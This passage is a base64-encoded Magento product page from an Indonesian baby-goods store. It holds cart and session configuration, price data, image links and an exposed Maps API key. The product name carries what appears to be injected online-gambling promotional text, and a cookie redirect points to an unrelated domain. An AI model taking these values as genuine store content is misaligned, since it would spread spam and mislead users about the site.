vbWVyX29yZGVyXC9jYXJ0XC9hZHZhbmNlZGFkZCI6WyJjYXJ0Il0sImNoZWNrb3V0XC9jYXJ0XC9hZHZhbmNlZGFkZCI6WyJjYXJ0Il0sImNoZWNrb3V0XC9jYXJ0XC9yZW1vdmVhbGxmYWlsZWQiOlsiY2FydCJdLCJjaGVja291dFwvY2FydFwvcmVtb3ZlZmFpbGVkIjpbImNhcnQiXSwiY3VzdG9tZXJfb3JkZXJcL2NhcnRcL2FkZGZhaWxlZGl0ZW1zIjpbImNhcnQiXSwiY2hlY2tvdXRcL2NhcnRcL2FkZGZhaWxlZGl0ZW1zIjpbImNhcnQiXSwiY3VzdG9tZXJfb3JkZXJcL3NrdVwvdXBsb2FkZmlsZSI6WyJjYXJ0Il0sImdpZnRyZWdpc3RyeVwvaW5kZXhcL2NhcnQiOlsiY2FydCJdLCJnaWZ0cmVnaXN0cnlcL3ZpZXdcL2FkZHRvY2FydCI6WyJjYXJ0Il0sImN1c3RvbWVyXC9hZGRyZXNzXC8qIjpbImluc3RhbnQtcHVyY2hhc2UiXSwiY3VzdG9tZXJcL2FjY291bnRcLyoiOlsiaW5zdGFudC1wdXJjaGFzZSJdLCJ2YXVsdFwvY2FyZHNcL2RlbGV0ZWFjdGlvbiI6WyJpbnN0YW50LXB1cmNoYXNlIl0sIm11bHRpc2hpcHBpbmdcL2NoZWNrb3V0XC9vdmVydmlld3Bvc3QiOlsiY2FydCIsImFtbWVzc2FnZXMiXSwid2lzaGxpc3RcL2luZGV4XC9jb3B5aXRlbSI6WyJ3aXNobGlzdCJdLCJ3aXNobGlzdFwvaW5kZXhcL2NvcHlpdGVtcyI6WyJ3aXNobGlzdCJdLCJ3aXNobGlzdFwvaW5kZXhcL2RlbGV0ZXdpc2hsaXN0IjpbIndpc2hsaXN0IiwibXVsdGlwbGV3aXNobGlzdCJdLCJ3aXNobGlzdFwvaW5kZXhcL2NyZWF0ZXdpc2hsaXN0IjpbIm11bHRpcGxld2lzaGxpc3QiXSwid2lzaGxpc3RcL2luZGV4XC9lZGl0d2lzaGxpc3QiOlsibXVsdGlwbGV3aXNobGlzdCJdLCJ3aXNobGlzdFwvaW5kZXhcL21vdmVpdGVtIjpbIndpc2hsaXN0Il0sIndpc2hsaXN0XC9pbmRleFwvbW92ZWl0ZW1zIjpbIndpc2hsaXN0Il0sIndpc2hsaXN0XC9zZWFyY2hcL2FkZHRvY2FydCI6WyJjYXJ0Iiwid2lzaGxpc3QiXSwicGF5cGFsXC9leHByZXNzXC9wbGFjZW9yZGVyIjpbImNhcnQiLCJjaGVja291dC1kYXRhIiwiYW1tZXNzYWdlcyJdLCJwYXlwYWxcL3BheWZsb3dleHByZXNzXC9wbGFjZW9yZGVyIjpbImNhcnQiLCJjaGVja291dC1kYXRhIiwiYW1tZXNzYWdlcyJdLCJwYXlwYWxcL2V4cHJlc3NcL29uYXV0aG9yaXphdGlvbiI6WyJjYXJ0IiwiY2hlY2tvdXQtZGF0YSIsImFtbWVzc2FnZXMiXSwicmVzdFwvKlwvdjFcL2NhcnRzXC8qXC9wby1wYXltZW50LWluZm9ybWF0aW9uIjpbImNhcnQiLCJjaGVja291dC1kYXRhIiwibGFzdC1vcmRlcmVkLWl0ZW1zIl0sInB1cmNoYXNlb3JkZXJcL3B1cmNoYXNlb3JkZXJcL3N1Y2Nlc3MiOlsiY2FydCIsImNoZWNrb3V0LWRhdGEiLCJsYXN0LW9yZGVyZWQtaXRlbXMiXSwicGVyc2lzdGVudFwvaW5kZXhcL3Vuc2V0Y29va2llIjpbInBlcnNpc3RlbnQiXSwicXVpY2tvcmRlclwvc2t1XC91cGxvYWRmaWxlXC8iOlsiY2FydCJdLCJyZXZpZXdcL3Byb2R1Y3RcL3Bvc3QiOlsicmV2aWV3Il0sImFtYXN0eV9wcm9tb1wvY2FydFwvYWRkIjpbImNhcnQiLCJhbW1lc3NhZ2VzIl0sImJyYWludHJlZVwvcGF5cGFsXC9wbGFjZW9yZGVyIjpbImFtbWVzc2FnZXMiLCJjYXJ0IiwiY2hlY2tvdXQtZGF0YSJdLCJhdXRob3JpemVuZXRcL2RpcmVjdHBvc3RfcGF5bWVudFwvcGxhY2UiOlsiYW1tZXNzYWdlcyJdLCJyZXN0XC8qXC92MVwvY2FydHNcLypcL3VwZGF0ZS1pdGVtIjpbImNhcnQiLCJjaGVja291dC1kYXRhIl0sInJlc3RcLypcL3YxXC9ndWVzdC1jYXJ0c1wvKlwvdXBkYXRlLWl0ZW0iOlsiY2FydCIsImNoZWNrb3V0LWRhdGEiXSwicmVzdFwvKlwvdjFcL2d1ZXN0LWNhcnRzXC8qXC9yZW1vdmUtaXRlbSI6WyJjYXJ0IiwiY2hlY2tvdXQtZGF0YSJdLCJyZXN0XC8qXC92MVwvY2FydHNcLypcL3JlbW92ZS1pdGVtIjpbImNhcnQiLCJjaGVja291dC1kYXRhIl0sImthbm1vcG9wdXBcL2NhdGFsb2dcL3BvcHVwYWRkdG9jYXJ0IjpbImNhcnQiXSwic3R5bGFjb25uZWN0MnBhZ2VcL2NhcnRcL2FkZCI6WyJjYXJ0Il0sImJyYWludHJlZVwvZ29vZ2xlcGF5XC9wbGFjZW9yZGVyIjpbImNhcnQiLCJjaGVja291dC1kYXRhIl19LAogICAgICAgICAgICAgICAgICAgICAgY2xpZW50U2lkZVNlY3Rpb25zOiBbImNoZWNrb3V0LWRhdGEiLCJjYXJ0LWRhdGEiLCJvc2MtZGF0YSJdLAogICAgICAgICAgICAgICAgICAgICAgYmFzZVVybHM6IFsiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC8iXSwKICAgICAgICAgICAgICAgICAgICAgIHNlY3Rpb25OYW1lczogWyJtZXNzYWdlcyIsImN1c3RvbWVyIiwiY29tcGFyZS1wcm9kdWN0cyIsImxhc3Qtb3JkZXJlZC1pdGVtcyIsInJlcXVpc2l0aW9uIiwiY2FydCIsImRpcmVjdG9yeS1kYXRhIiwiY2FwdGNoYSIsIndpc2hsaXN0IiwiY29tcGFueSIsImNvbXBhbnlfYXV0aG9yaXphdGlvbiIsIm5lZ290aWFibGVfcXVvdGUiLCJpbnN0YW50LXB1cmNoYXNlIiwibG9nZ2VkQXNDdXN0b21lciIsIm11bHRpcGxld2lzaGxpc3QiLCJwdXJjaGFzZV9vcmRlciIsInBlcnNpc3RlbnQiLCJyZXZpZXciLCJhbW1lc3NhZ2VzIiwicGVyc29uYWwtZGF0YSIsImFqYXhwcm8tcmVpbml0IiwiYWpheHByby1jYXJ0IiwiYWpheHByby1wcm9kdWN0IiwicmVjZW50bHlfdmlld2VkX3Byb2R1Y3QiLCJyZWNlbnRseV9jb21wYXJlZF9wcm9kdWN0IiwicHJvZHVjdF9kYXRhX3N0b3JhZ2UiLCJwYXlwYWwtYmlsbGluZy1hZ3JlZW1lbnQiXSAgICB9CiAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICA8c2NyaXB0IGRhdGEtYnJlZXplPgogICAgICAgICAgICAgICAgICB2YXIgY3VzdG9tZXJEYXRhQ29uZmlnID0gewogICAgICAgICAgICAgICAgICAgICAgInNlY3Rpb25Mb2FkVXJsIjogImh0dHBzXHUwMDNBXHUwMDJGXHUwMDJGd3d3Lm1vdGhlcmNhcmUuY28uaWRcdTAwMkZjdXN0b21lclx1MDAyRnNlY3Rpb25cdTAwMkZsb2FkXHUwMDJGIiwKICAgICAgICAgICAgICAgICAgICAgICJleHBpcmFibGVTZWN0aW9uTGlmZXRpbWUiOiAxMjk2MDAsCiAgICAgICAgICAgICAgICAgICAgICAiZXhwaXJhYmxlU2VjdGlvbk5hbWVzIjogWyJjYXJ0IiwicGVyc2lzdGVudCIsImFqYXhwcm8tcmVpbml0IiwiYWpheHByby1jYXJ0IiwiYWpheHByby1wcm9kdWN0Il0sCiAgICAgICAgICAgICAgICAgICAgICAiY29va2llTGlmZVRpbWUiOiAiMzYwMCIsCiAgICAgICAgICAgICAgICAgICAgICAidXBkYXRlU2Vzc2lvblVybCI6ICJodHRwc1x1MDAzQVx1MDAyRlx1MDAyRnd3dy5tb3RoZXJjYXJlLmNvLmlkXHUwMDJGY3VzdG9tZXJcdTAwMkZhY2NvdW50XHUwMDJGdXBkYXRlU2Vzc2lvblx1MDAyRiIKICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L3gtbWFnZW50by1pbml0Ij4KICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgIioiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fQ3VzdG9tZXIvanMvaW52YWxpZGF0aW9uLXByb2Nlc3NvciI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImludmFsaWRhdGlvblJ1bGVzIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIndlYnNpdGUtcnVsZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTWFnZW50b19DdXN0b21lci9qcy9pbnZhbGlkYXRpb24tcnVsZXMvd2Vic2l0ZS1ydWxlIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2NvcGVDb25maWciOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAid2Vic2l0ZUlkIjogIjMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC94LW1hZ2VudG8taW5pdCI%2BCiAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICJib2R5IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICJwYWdlQ2FjaGUiOiB7InVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvcGFnZV9jYWNoZVwvYmxvY2tcL3JlbmRlclwvaWRcLzYwMDE5M1wvIiwiaGFuZGxlcyI6WyJkZWZhdWx0IiwiY2F0YWxvZ19wcm9kdWN0X3ZpZXciLCJjYXRhbG9nX3Byb2R1Y3Rfdmlld190eXBlX2NvbmZpZ3VyYWJsZSIsImNhdGFsb2dfcHJvZHVjdF92aWV3X2lkXzYwMDE5MyIsImNhdGFsb2dfcHJvZHVjdF92aWV3X3NrdV81MjEzNTU0NS1BWU8wMSIsImN1c3RvbWVyX2xvZ2dlZF9vdXQiLCJicmVlemVfZGVmYXVsdCIsImJyZWV6ZV9jYXRhbG9nX3Byb2R1Y3RfdmlldyIsImJyZWV6ZV9jYXRhbG9nX3Byb2R1Y3Rfdmlld190eXBlX2NvbmZpZ3VyYWJsZSIsImJyZWV6ZV9jYXRhbG9nX3Byb2R1Y3Rfdmlld19pZF82MDAxOTMiLCJicmVlemVfY2F0YWxvZ19wcm9kdWN0X3ZpZXdfc2t1XzUyMTM1NTQ1LUFZTzAxIiwiYnJlZXplX2N1c3RvbWVyX2xvZ2dlZF9vdXQiLCJicmVlemVfdGhlbWUiLCJicmVlemUiXSwib3JpZ2luYWxSZXF1ZXN0Ijp7InJvdXRlIjoiY2F0YWxvZyIsImNvbnRyb2xsZXIiOiJwcm9kdWN0IiwiYWN0aW9uIjoidmlldyIsInVyaSI6Ilwvbm9yZGljLW5hdHVyYWxzLWJhYnktcy1kaGEtNTIxMzU1NDUtQVlPMDEuaHRtbCJ9LCJ2ZXJzaW9uQ29va2llTmFtZSI6InByaXZhdGVfY29udGVudF92ZXJzaW9uIn0gICAgICAgIH0KICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L3gtbWFnZW50by1pbml0Ij4KICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgIioiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fQmFubmVyL2pzL21vZGVsL2Jhbm5lciI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsic2VjdGlvbkxvYWRVcmwiOiJodHRwczpcL1wvd3d3Lm1vdGhlcmNhcmUuY28uaWRcL2Jhbm5lclwvYWpheFwvbG9hZFwvIiwiY2FjaGVUdGwiOjMwMDAwfSAgICAgICAgfQogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICB7IioiOnsiU3R5bGFfQ29ubmVjdDJcL2pzXC9jYXJ0LXVwZGF0ZSI6W119fQogICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgPHNjcmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vbWFwcy5nb29nbGUuY29tL21hcHMvYXBpL2pzP2tleT0lMEQlMEFBSXphU3lEcGxpYkFpZ0x6Q2ZPaW55elp1TUN5enhDa3YyRkxrdzAmYW1wO2xpYnJhcmllcz1wbGFjZXMsZ2VvbWV0cnkiPjwvc2NyaXB0PgogICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAiYm9keSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAicmVxdWlyZUNvb2tpZSI6IHsibm9Db29raWVVcmwiOiJodHRwczpcL1wvYW5hc2Zvb2R0YWNvcy5jb20vXC9lc3R1ZGlvXC9pbmRleFwvbm9Db29raWVzXC8iLCJ0cmlnZ2VycyI6WyIucmV2aWV3IC5hY3Rpb24uc3VibWl0Il0sImlzUmVkaXJlY3RDbXNQYWdlIjp0cnVlfSAgICAgICAgfQogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAiKiI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fQ2F0YWxvZy9qcy9wcm9kdWN0L3ZpZXcvcHJvdmlkZXIiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IHsiaXRlbXMiOnsiNjAwMTkzIjp7ImFkZF90b19jYXJ0X2J1dHRvbiI6eyJwb3N0X2RhdGEiOiJ7XCJhY3Rpb25cIjpcImh0dHBzOlxcXC9cXFwvd3d3Lm1vdGhlcmNhcmUuY28uaWRcXFwvY2hlY2tvdXRcXFwvY2FydFxcXC9hZGRcXFwvdWVuY1xcXC8lMjV1ZW5jJTI1XFxcL3Byb2R1Y3RcXFwvNjAwMTkzXFxcL1wiLFwiZGF0YVwiOntcInByb2R1Y3RcIjpcIjYwMDE5M1wiLFwidWVuY1wiOlwiJXVlbmMlXCJ9fSIsInVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvY2hlY2tvdXRcL2NhcnRcL2FkZFwvdWVuY1wvJTI1dWVuYyUyNVwvcHJvZHVjdFwvNjAwMTkzXC8iLCJyZXF1aXJlZF9vcHRpb25zIjp0cnVlfSwiYWRkX3RvX2NvbXBhcmVfYnV0dG9uIjp7InBvc3RfZGF0YSI6bnVsbCwidXJsIjoie1wiYWN0aW9uXCI6XCJodHRwczpcXFwvXFxcL3d3dy5tb3RoZXJjYXJlLmNvLmlkXFxcL2NhdGFsb2dcXFwvcHJvZHVjdF9jb21wYXJlXFxcL2FkZFxcXC9cIixcImRhdGFcIjp7XCJwcm9kdWN0XCI6XCI2MDAxOTNcIixcInVlbmNcIjpcImFIUjBjSE02THk5M2QzY3ViVzkwYUdWeVkyRnlaUzVqYnk1cFpDOXViM0prYVdNdGJtRjBkWEpoYkhNdFltRmllUzF6TFdSb1lTMDFNakV6TURFeU5TMWpibTh3TVM1b2RHMXNcIn19IiwicmVxdWlyZWRfb3B0aW9ucyI6bnVsbH0sInByaWNlX2luZm8iOnsiZmluYWxfcHJpY2UiOjg4OCwibWF4X3ByaWNlIjo4ODgsIm1heF9yZWd1bGFyX3ByaWNlIjo4ODgsIm1pbmltYWxfcmVndWxhcl9wcmljZSI6ODg4LCJzcGVjaWFsX3ByaWNlIjpudWxsLCJtaW5pbWFsX3ByaWNlIjo4ODgsInJlZ3VsYXJfcHJpY2UiOjg4OCwiZm9ybWF0dGVkX3ByaWNlcyI6eyJmaW5hbF9wcmljZSI6IjxzcGFuIGNsYXNzPVwicHJpY2VcIj5ScCA1LjAwMDxcL3NwYW4%2BIiwibWF4X3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4iLCJtaW5pbWFsX3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4iLCJtYXhfcmVndWxhcl9wcmljZSI6IjxzcGFuIGNsYXNzPVwicHJpY2VcIj5ScCA1LjAwMDxcL3NwYW4%2BIiwibWluaW1hbF9yZWd1bGFyX3ByaWNlIjpudWxsLCJzcGVjaWFsX3ByaWNlIjpudWxsLCJyZWd1bGFyX3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4ifSwiZXh0ZW5zaW9uX2F0dHJpYnV0ZXMiOnsibXNycCI6eyJtc3JwX3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDA8XC9zcGFuPiIsImlzX2FwcGxpY2FibGUiOiIiLCJpc19zaG93bl9wcmljZV9vbl9nZXN0dXJlIjoiMSIsIm1zcnBfbWVzc2FnZSI6IiIsImV4cGxhbmF0aW9uX21lc3NhZ2UiOiJPdXIgcHJpY2UgaXMgbG93ZXIgdGhhbiB0aGUgbWFudWZhY3R1cmVyJiMwMzk7cyAmcXVvdDttaW5pbXVtIGFkdmVydGlzZWQgcHJpY2UuJnF1b3Q7IEFzIGEgcmVzdWx0LCB3ZSBjYW5ub3Qgc2hvdyB5b3UgdGhlIHByaWNlIGluIGNhdGFsb2cgb3IgdGhlIHByb2R1Y3QgcGFnZS4gPGJyPjxicj4gWW91IGhhdmUgbm8gb2JsaWdhdGlvbiB0byBwdXJjaGFzZSB0aGUgcHJvZHVjdCBvbmNlIHlvdSBrbm93IHRoZSBwcmljZS4gWW91IGNhbiBzaW1wbHkgcmVtb3ZlIHRoZSBpdGVtIGZyb20geW91ciBjYXJ0LiJ9LCJ0YXhfYWRqdXN0bWVudHMiOnsiZmluYWxfcHJpY2UiOjg4OCwibWF4X3ByaWNlIjo4ODgsIm1heF9yZWd1bGFyX3ByaWNlIjo4ODgsIm1pbmltYWxfcmVndWxhcl9wcmljZSI6ODg4LCJzcGVjaWFsX3ByaWNlIjo4ODgsIm1pbmltYWxfcHJpY2UiOjg4OCwicmVndWxhcl9wcmljZSI6ODg4LCJmb3JtYXR0ZWRfcHJpY2VzIjp7ImZpbmFsX3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4iLCJtYXhfcHJpY2UiOiI8c3BhbiBjbGFzcz1cInByaWNlXCI%2BUnAgNS4wMDA8XC9zcGFuPiIsIm1pbmltYWxfcHJpY2UiOiI8c3BhbiBjbGFzcz1cInByaWNlXCI%2BUnAgNS4wMDA8XC9zcGFuPiIsIm1heF9yZWd1bGFyX3ByaWNlIjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4iLCJtaW5pbWFsX3JlZ3VsYXJfcHJpY2UiOm51bGwsInNwZWNpYWxfcHJpY2UiOiI8c3BhbiBjbGFzcz1cInByaWNlXCI%2BUnAgNS4wMDA8XC9zcGFuPiIsInJlZ3VsYXJfcHJpY2UiOiI8c3BhbiBjbGFzcz1cInByaWNlXCI%2BUnAgNS4wMDA8XC9zcGFuPiJ9fSwid2VlZV9hdHRyaWJ1dGVzIjpbXSwid2VlZV9hZGp1c3RtZW50IjoiPHNwYW4gY2xhc3M9XCJwcmljZVwiPlJwIDUuMDAwPFwvc3Bhbj4ifX0sImltYWdlcyI6W3sidXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9tZWRpYVwvY2F0YWxvZ1wvcHJvZHVjdFwvMVwvMVwvMTE5NjY5d2ViMV8xLmpwZz93aWR0aD0zMjUmaGVpZ2h0PTMyNSZjYW52YXM9MzI1LDMyNSZvcHRpbWl6ZT1sb3cmYmctY29sb3I9MjU1LDI1NSwyNTUmZml0PWJvdW5kcyIsImNvZGUiOiJyZWNlbnRseV92aWV3ZWRfcHJvZHVjdHNfZ3JpZF9jb250ZW50X3dpZGdldCIsImhlaWdodCI6MzI1LCJ3aWR0aCI6MzI1LCJsYWJlbCI6Ik5vcmRpYyBOYXR1cmFsIEJhYnkncyBESEEiLCJyZXNpemVkX3dpZHRoIjozMjUsInJlc2l6ZWRfaGVpZ2h0IjozMjV9LHsidXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9tZWRpYVwvY2F0YWxvZ1wvcHJvZHVjdFwvMVwvMVwvMTE5NjY5d2ViMV8xLmpwZz93aWR0aD0yNzAmaGVpZ2h0PTI3MCZjYW52YXM9MjcwLDI3MCZvcHRpbWl6ZT1sb3cmYmctY29sb3I9MjU1LDI1NSwyNTUmZml0PWJvdW5kcyIsImNvZGUiOiJyZWNlbnRseV92aWV3ZWRfcHJvZHVjdHNfbGlzdF9jb250ZW50X3dpZGdldCIsImhlaWdodCI6MjcwLCJ3aWR0aCI6MjcwLCJsYWJlbCI6Ik5vcmRpYyBOYXR1cmFsIEJhYnkncyBESEEiLCJyZXNpemVkX3dpZHRoIjoyNzAsInJlc2l6ZWRfaGVpZ2h0IjoyNzB9LHsidXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9tZWRpYVwvY2F0YWxvZ1wvcHJvZHVjdFwvMVwvMVwvMTE5NjY5d2ViMV8xLmpwZz93aWR0aD0xNTYmaGVpZ2h0PTE1NiZjYW52YXM9MTU2LDE1NiZvcHRpbWl6ZT1sb3cmYmctY29sb3I9MjU1LDI1NSwyNTUmZml0PWJvdW5kcyIsImNvZGUiOiJyZWNlbnRseV92aWV3ZWRfcHJvZHVjdHNfaW1hZ2VzX25hbWVzX3dpZGdldCIsImhlaWdodCI6MTU2LCJ3aWR0aCI6MTU2LCJsYWJlbCI6Ik5vcmRpYyBOYXR1cmFsIEJhYnkncyBESEEiLCJyZXNpemVkX3dpZHRoIjoxNTYsInJlc2l6ZWRfaGVpZ2h0IjoxNTZ9LHsidXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9tZWRpYVwvY2F0YWxvZ1wvcHJvZHVjdFwvMVwvMVwvMTE5NjY5d2ViMV8xLmpwZz93aWR0aD0zMjUmaGVpZ2h0PTMyNSZjYW52YXM9MzI1LDMyNSZvcHRpbWl6ZT1sb3cmYmctY29sb3I9MjU1LDI1NSwyNTUmZml0PWJvdW5kcyIsImNvZGUiOiJyZWNlbnRseV9jb21wYXJlZF9wcm9kdWN0c19ncmlkX2NvbnRlbnRfd2lkZ2V0IiwiaGVpZ2h0IjozMjUsIndpZHRoIjozMjUsImxhYmVsIjoiTm9yZGljIE5hdHVyYWwgQmFieSdzIERIQSIsInJlc2l6ZWRfd2lkdGgiOjMyNSwicmVzaXplZF9oZWlnaHQiOjMyNX0seyJ1cmwiOiJodHRwczpcL1wvd3d3Lm1vdGhlcmNhcmUuY28uaWRcL21lZGlhXC9jYXRhbG9nXC9wcm9kdWN0XC8xXC8xXC8xMTk2Njl3ZWIxXzEuanBnP3dpZHRoPTI3MCZoZWlnaHQ9MjA3JmNhbnZhcz0yNzAsMjA3Jm9wdGltaXplPWxvdyZiZy1jb2xvcj0yNTUsMjU1LDI1NSZmaXQ9Ym91bmRzIiwiY29kZSI6InJlY2VudGx5X2NvbXBhcmVkX3Byb2R1Y3RzX2xpc3RfY29udGVudF93aWRnZXQiLCJoZWlnaHQiOjIwNywid2lkdGgiOjI3MCwibGFiZWwiOiJOb3JkaWMgTmF0dXJhbCBCYWJ5J3MgREhBIiwicmVzaXplZF93aWR0aCI6MjcwLCJyZXNpemVkX2hlaWdodCI6MjA3fSx7InVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvbWVkaWFcL2NhdGFsb2dcL3Byb2R1Y3RcLzFcLzFcLzExOTY2OXdlYjFfMS5qcGc%2Fd2lkdGg9MTU2JmhlaWdodD0xNTYmY2FudmFzPTE1NiwxNTYmb3B0aW1pemU9bG93JmJnLWNvbG9yPTI1NSwyNTUsMjU1JmZpdD1ib3VuZHMiLCJjb2RlIjoicmVjZW50bHlfY29tcGFyZWRfcHJvZHVjdHNfaW1hZ2VzX25hbWVzX3dpZGdldCIsImhlaWdodCI6MTU2LCJ3aWR0aCI6MTU2LCJsYWJlbCI6Ik5vcmRpYyBOYXR1cmFsIEJhYnkncyBESEEiLCJyZXNpemVkX3dpZHRoIjoxNTYsInJlc2l6ZWRfaGVpZ2h0IjoxNTZ9XSwidXJsIjoiaHR0cHM6XC9cL3d3dy5tb3RoZXJjYXJlLmNvLmlkXC9ub3JkaWMtbmF0dXJhbHMtYmFieS1zLWRoYS01MjEzNTU0NS1BWU8wMS5odG1sIiwiaWQiOjYwMDE5MywibmFtZSI6IktUTTMwMzogUmFpaCBNb21lbiBLZW1lbmFuZ2FuIEJlc2FyIERlbmdhbiBQZW5nYWxhbWFuIEJlcm1haW4gTW9kZXJuIiwidHlwZSI6ImNvbmZpZ3VyYWJsZSIsImlzX3NhbGFibGUiOiIxIiwic3RvcmVfaWQiOjE1LCJjdXJyZW5jeV9jb2RlIjoiSURSIiwiZXh0ZW5zaW9uX2F0dHJpYnV0ZXMiOnsid2lzaGxpc3RfYnV0dG9uIjp7InBvc3RfZGF0YSI6bnVsbCwidXJsIjoie1wiYWN0aW9uXCI6XCJodHRwczpcXFwvXFxcL3d3dy5tb3RoZXJjYXJlLmNvLmlkXFxcL3dpc2hsaXN0XFxcL2luZGV4XFxcL2FkZFxcXC9cIixcImRhdGFcIjp7XCJwcm9kdWN0XCI6NjAwMTkzLFwidWVuY1wiOlwiYUhSMGNITTZMeTkzZDNjdWJXOTBhR1Z5WTJGeVpTNWpieTVwWkM5dWIzSmthV010Ym1GMGRYSmhiSE10WW1GaWVTMXpMV1JvWVMwMU1qRXpNREV5TlMxamJtOHdNUzVvZEcxc1wifX0iLCJyZXF1aXJlZF9vcHRpb25zIjpudWxsfSwicmV2aWV3X2h0bWwiOiIgICAgPGRpdiBjbGFzcz1cInByb2R1Y3QtcmV2aWV3cy1zdW1tYXJ5IHNob3J0IGVtcHR5XCI%2BXG4gICAgICAgIDxkaXYgY2xhc3M9XCJyZXZpZXdzLWFjdGlvbnNcIj5cbiAgICAgICAgICAgIFxuICAgICAgICA8XC9kaXY%2BXG4gICAgPFwvZGl2PlxuIn0sImlzX2F2YWlsYWJsZSI6dHJ1ZX19LCJzdG9yZSI6IjE1IiwiY3VycmVuY3kiOiJJRFIiLCJwcm9kdWN0Q3VycmVudFNjb3BlIjoid2Vic2l0ZSJ9ICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICA8c2NyaXB0IGRhdGEtcm9sZT0ibXNycC1wb3B1cC10ZW1wbGF0ZSIgdHlwZT0idGV4dC94LW1hZ2VudG8tdGVtcGxhdGUiPgogICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtYXAtcG9wdXAtY2xpY2stZm9yLXByaWNlIiBjbGFzcz0ibWFwLXBvcHVwIj4KICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvcHVwLWhlYWRlciI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZyBjbGFzcz0idGl0bGUiIGlkPSJtYXAtcG9wdXAtaGVhZGluZy1wcmljZSI%2BPC9zdHJvbmc%2BCiAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvcHVwLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1hcC1pbmZvLXByaWNlIiBpZD0ibWFwLXBvcHVwLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcmljZS1ib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWFwLW1zcnAiIGlkPSJtYXAtcG9wdXAtbXNycC1ib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW